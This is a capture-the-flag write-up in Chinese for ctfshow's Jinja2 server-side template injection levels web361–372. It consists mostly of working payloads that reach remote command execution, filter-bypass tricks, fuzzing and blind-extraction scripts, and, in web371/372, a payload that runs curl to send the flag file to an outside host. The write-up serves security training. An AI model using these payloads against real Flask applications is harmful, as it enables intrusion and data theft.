ctfshow web入门-SSTI

web361

题目描述

  • 名字就是考点

解题思路

  • 直接读取 FLAG 即可,这里利用的是 os._wrap_close
''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()
或者
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat /flag").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
  • 贴一下确定 index 的脚本
import requests
from tqdm import tqdm

url = 'http://c019cb84-3254-4af1-bc56-f8bb3d483c7c.challenge.ctf.show:8080/?name='
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'}
for i in tqdm(range(500)):    
    url = url + "{{''.__class__.__mro__[-1].__subclasses__()[" + str(i) + "]}}"
    res = requests.get(url=url, headers=headers)
    if 'os._wrap_close' in res.text:
        print(i)
        break

web362

题目描述

  • 开始过滤

解题思路

  • 用上一题 {% %} 形式的 Payload 一把梭
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat /flag").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

web363

题目描述

  • 开始过滤

解题思路

  • 写个 FUZZ 的脚本(欢迎评论补充)看看过滤了啥
import requests
from tqdm import tqdm

url = 'http://889a9ec1-3a91-4e11-925e-3bde2e60fb4a.challenge.ctf.show:8080/?name='

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
fuzzList = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9','\\','\'','\"','.','+','{','{{','%','#','if','for','class','(',')','[',']','base','bases','mro','_','__','init','globals','subclasses','popen','import','os','dir','builtins','config','get_flashed_messages','current_app','attr','getattr','request','chr','join','|','replace','decode','enter','exit','pop','getitem','args','url_for','range','session','dict','self','reload','count','length','print','curl']
blackList = []
for fuzz in tqdm(fuzzList):
    res = requests.get(url=(url+fuzz), headers=headers)
    if ':(' in res.text:
        blackList.append(fuzz)
print("blackList is ", end="")
print(blackList)
  • 测试后发现过滤了 '",利用 request.argsrequest.cookies 或者 request.values(也可以用于GET请求) 来绕过
{{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat%20/flag

web364

题目描述

  • 开始过滤

解题思路

  • 用 web363 的 FUZZ 脚本先跑一下,发现过滤了 '"args,用 request.values 发现不允许,那就用 request.cookies 来绕过吧
{{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie:a=os&b=popen&c=cat%20/flag

web365

题目描述

  • 开始过滤

解题思路

  • 用 web363 的 FUZZ 脚本先跑一下,发现过滤了 '"[args
{{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat%20/flag

web366

题目描述

  • 开始过滤

解题思路

  • 用 web363 的 FUZZ 脚本先跑一下,发现过滤了 '"[_args,用 falsk 自带的过滤器 attr 来绕过
{{(lipsum|attr(request.cookies.globals)).os.popen(request.cookies.flag).read()}}
Cookie:globals=__globals__&flag=cat%20/flag

web367

题目描述

  • 开始过滤

解题思路

  • 用 web363 的 FUZZ 脚本先跑一下,发现过滤了 '"[__osget_flashed_messagescurrent_appurl_forargs,继续用 falsk 自带的过滤器 attr 来绕过,并且将 os 放进 request 即可
{{(lipsum|attr(request.values.globals)).get(request.values.a).popen(request.values.flag).read()}}&globals=__globals__&a=os&flag=cat%20/flag

web368

题目描述

  • 开始过滤

解题思路

  • 用 web363 的 FUZZ 脚本先跑一下,发现过滤了 '"{{[__osget_flashed_messagescurrent_appurl_forargs,用 {% %} 来绕过
{% print((lipsum|attr(request.values.globals)).get(request.values.a).popen(request.values.flag).read()) %}&globals=__globals__&a=os&flag=cat%20/flag
  • 还可以采用盲注的方式,这里放一个其他大师傅的盲注脚本
import requests

url="http://3db27dbc-dccc-46d0-bc78-eff3fc21af74.chall.ctf.show:8080/"
flag=""
for i in range(1,100):
    for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
        params={
            'name':"{{% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{{% if a==request.values.d %}}H3rmesk1t{{% endif %}}".format(i),
            'a':'__globals__',
            'b':'__builtins__',
            'c':'/flag',
            'd':f'{flag+j}'
        }
        r=requests.get(url=url,params=params)
        if "H3rmesk1t" in r.text:
            flag+=j
            print(flag)
            if j=="}":
                exit()
            break

web369

题目描述

  • 开始过滤

解题思路

  • 用 web363 的 FUZZ 脚本先跑一下,发现过滤了 '"{{[__osget_flashed_messagescurrent_appurl_forrequestargs,利用 config 来构造字符,这里转换成列表,再用列表的 pop 方法就可以成功得到某个字符
  • 这里贴一个脚本用来确定需要用到的字符在列表中的位置
import requests
from tqdm import tqdm

url = 'http://520dba47-0b81-4ed7-b420-33cc1ce8fa2f.challenge.ctf.show:8080/?name='
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
wordNeed = '_'
for i in tqdm(range(100)):
    url1 = "{%" + "set po=dict(po=a,p=a)|join() %}{%" + " set a=(()|select|string|list)|attr(po)("
    url2 = ") %}{% print(a) %}"
    res = requests.get(url=(url+url1+str(i)+url2),headers=headers)
    location=res.text.find("<h3>")
    word=res.text[location+4:location+5]
    if word == wordNeed:
        print(i,word)
  • Payload
{% set po=dict(po=a,p=a)|join() %}
{% set a=(()|select|string|list)|attr(po)(24) %}
{% set ini=(a,a,dict(init=a)|join(),a,a)|join() %}
{% set glob=(a,a,dict(globals=a)|join(),a,a)|join() %}
{% set geti=(a,a,dict(getitem=a)|join(),a,a)|join() %}
{% set built=(a,a,dict(builtins=a)|join(),a,a)|join() %}
{% set x=(q|attr(ini)|attr(glob)|attr(geti))(built) %}
{% set chr=x.chr %}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103) %}
{% print(x.open(file).read()) %}
或者
{% set o=dict(o=oo,s=ss)|join() %}
{% set po=dict(po=a,p=a)|join() %}
{% set a=(()|select|string|list)|attr(po)(24) %}
{% set glob=(a,a,dict(globals=a)|join(),a,a)|join() %}
{% set built=(a,a,dict(builtins=a)|join(),a,a)|join() %}
{% set x=(lipsum|attr(glob)).get(built) %}
{% set chr=x.chr %}
{% print(x.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read()) %}

web370

题目描述

  • 开始过滤

解题思路

  • 先 FUZZ 一下得到黑名单:'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '\',"'", '"', '{{', '[', '_', '__', 'os', 'get_flashed_messages', 'current_app', 'request', 'args', 'url_for',利用 count 或者 length 来获取数字,例如 {% set c=(dict(e=a)|join()|count) %} 或者 {% set c=(dict(e=a)|join()|length) %} 就能得到数字 1
  • Payload
{% set c=(dict(e=a)|join()|count) %}
{% set cc=(dict(ee=a)|join()|count) %}
{% set ccc=(dict(eee=a)|join()|count) %}
{% set cccc=(dict(eeee=a)|join()|count) %}
{% set ccccccc=(dict(eeeeeee=a)|join()|count) %}
{% set cccccccc=(dict(eeeeeeee=a)|join()|count) %}
{% set ccccccccc=(dict(eeeeeeeee=a)|join()|count) %}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join()|count) %}
{% set coun=(cc~cccc)|int %}
{% set po=dict(po=a,p=a)|join() %}
{% set a=(()|select|string|list)|attr(po)(coun) %}
{% set ini=(a,a,dict(init=a)|join(),a,a)|join() %}
{% set glo=(a,a,dict(globals=a)|join(),a,a)|join() %}
{% set geti=(a,a,dict(getitem=a)|join(),a,a)|join() %}
{% set built=(a,a,dict(builtins=a)|join(),a,a)|join() %}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built) %}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int) %}
{% print(x.open(file).read()) %}

web371

题目描述

  • 开始过滤

解题思路

  • 先 FUZZ 一下得到黑名单:'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', "'", '"', '{{', '[', '_', '__', 'os', 'get_flashed_messages', 'current_app',' request', 'args', 'url_for', 'print',由于过滤了 print,这里采用反弹 shell 的方式来获取 FLAG
{% set b=(t|length)%}
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,ccc,ccccccccc,ccccc,point,cc,cccccccccc,ccccc,point,c,cccc,ccccccccc,point,c,b,cccccc,maohao,ccccccccc,cccccccc,ccccccc,ccccccccc,xiegang,result)|join %} 
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

web372

题目描述

  • 开始过滤

解题思路

  • 先 FUZZ 一下得到黑名单:'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', "'", '"', '{{', '[', '_', '__', 'os', 'get_flashed_messages', 'current_app',' request', 'args', 'url_for', 'print', 'count',由于过滤了 print,这里采用采用反弹 shell 的方式来获取 FLAG,过滤的 countlength 来代替
{% set b=(t|length)%}
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,ccc,ccccccccc,ccccc,point,cc,cccccccccc,ccccc,point,c,cccc,ccccccccc,point,c,b,cccccc,maohao,ccccccccc,cccccccc,ccccccc,ccccccccc,xiegang,result)|join %} 
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

trick

  • 可以用全角数字代替正常数字
def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值